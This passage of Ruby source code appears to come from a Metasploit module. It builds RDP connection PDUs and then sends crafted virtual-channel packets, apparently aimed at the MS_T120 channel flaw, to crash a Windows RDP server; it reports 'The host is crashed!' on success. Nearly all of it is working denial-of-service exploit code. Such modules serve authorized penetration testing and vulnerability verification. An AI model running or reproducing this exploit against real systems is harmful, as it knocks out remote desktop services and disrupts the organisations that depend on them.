"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET "\x34\x00" + # lengthCapability: 52 "\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" + "\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" + "\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" + "\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x11\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x01\x00\x00\x00\x00\x28\x64\x00" + "\x14\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x01\x00\x00\x00\x00\x00\x00\x00" + "\x15\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x02\x00\x00\x00\x00\x0a\x00\x01" + "\x1a\x00" + # capabilitySetType: ?? "\x08\x00" + # lengthCapability: 8 "\xaf\x94\x00\x00" + "\x1c\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x12\x00\x00\x00\x00\x00\x00\x00" + "\x1b\x00" + # capabilitySetType: ?? "\x06\x00" + # lengthCapability: 6 "\x01\x00" + "\x1e\x00" + # capabilitySetType: ?? "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x18\x00" + # capabilitySetType: ?? "\x0b\x00" + # lengthCapability: 11 "\x02\x00\x00\x00\x03\x0c\x00" + "\x1d\x00" + # capabilitySetType: ?? "\x5f\x00" + # lengthCapability: 95 "\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" + "\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" + "\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" + "\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" + "\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" + "\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04" ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU return(rdp_build_share_control_header(0x13, pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992 ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1 def pdu_client_synchronize(target_user = 0) pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC [target_user].pack("S<") # targetUser, 16 bit, unsigned. ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE data_header = rdp_build_share_data_header(0x1f, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135 ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15 def pdu_client_control_cooperate() pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE "\x00\x00" + # grantId: 0 "\x00\x00\x00\x00" # controlId: 0 ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL data_header = rdp_build_share_data_header(0x14, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35 ## Control Request - TC_CONTROL_PDU 2.2.1.16 def pdu_client_control_request() pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL "\x00\x00" + # grantId: 0 "\x00\x00\x00\x00" # controlId: 0 ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL data_header = rdp_build_share_data_header(0x14, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396 ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1 def pdu_client_input_event_sychronize() pdu = "\x01\x00" + # numEvents: 1 "\x00\x00" + # pad2Octets "\x00\x00\x00\x00" + # eventTime "\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5 "\x00\x00" + # pad2Octets "\x00\x00\x00\x00" # toggleFlags ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT data_header = rdp_build_share_data_header(0x1c, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9 ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18 def pdu_client_font_list() pdu = "\x00\x00" + # numberFonts: 0 "\x00\x00" + # totalNumberFonts: 0 "\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST) "\x32\x00" # entrySize: 50 ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST data_header = rdp_build_share_data_header(0x27, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end # ------------------------------------------------------------------------- # def crash_test(rc4enckey, hmackey) begin received = "" for i in 0..5 received += rdp_recv() end rescue RdpCommunicationError # we don't care end vprint_status("Sending DoS payload") found = false for j in 0..15 ## x86_payload: rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef")) ## x64_payload: rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef")) end end def produce_dos() unless(rdp_connection_initiation()) vprint_status("Could not connect to RDP.") return(false) end vprint_status("Sending initial client data") received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME'])) rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received) vprint_status("Sending erect domain request") rdp_send(pdu_erect_domain_request()) vprint_status("Sending attach user request") received = rdp_sendrecv(pdu_attach_user_request()) user1 = received[9, 2].unpack("n").first [1003, 1004, 1005, 1006, 1007].each do | chan | rdp_sendrecv(pdu_channel_request(user1, chan)) end ## 5.3.4 Client Random Value client_rand = '' 32.times { client_rand << rand(0..255) } rcran = bytes_to_bignum(client_rand) vprint_status("Sending security exchange PDU") rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen)) ## We aren't decrypting anything at this point. Leave the variables here ## to make it easier to understand in the future. rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand) vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}") vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}") vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}") vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}") rc4enckey = RC4.new(rc4encstart) vprint_status("Sending client info PDU") # TODO pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP']) received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true)) vprint_status("Received License packet") rdp_recv() vprint_status("Sending client confirm active PDU") rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey)) vprint_status("Sending client synchronize PDU") rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey)) vprint_status("Sending client control cooperate PDU") rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey)) vprint_status("Sending client control request control PDU") rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey)) vprint_status("Sending client input sychronize PDU") rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey)) vprint_status("Sending client font list PDU") rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey)) vprint_status("Sending close mst120 PDU") crash_test(rc4enckey, hmackey) vprint_status("Sending client disconnection PDU") rdp_send(rdp_build_data_tpdu("\x21\x80")) return(true) end # ------------------------------------------------------------------------- # def run_host(ip) ## Allow the run command to call the check command. begin if(open_connection()) status = produce_dos() end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e bt = e.backtrace.join("\n") vprint_error("Unexpected error: #{e.message}") vprint_line(bt) elog("#{e.message}\n#{bt}") rescue RdpCommunicationError => e vprint_error("Error communicating RDP protocol.") status = Exploit::CheckCode::Unknown rescue Errno::ECONNRESET => e # NLA? vprint_error("Connection reset, possible NLA is enabled.") rescue => e bt = e.backtrace.join("\n") vprint_error("Unexpected error: #{e.message}") vprint_line(bt) elog("#{e.message}\n#{bt}") ensure if(status == true) sleep(1) unless(open_connection()) print_good("The host is crashed!") else print_bad("The DoS has been sent but the host is already connected!") end end disconnect() end end end


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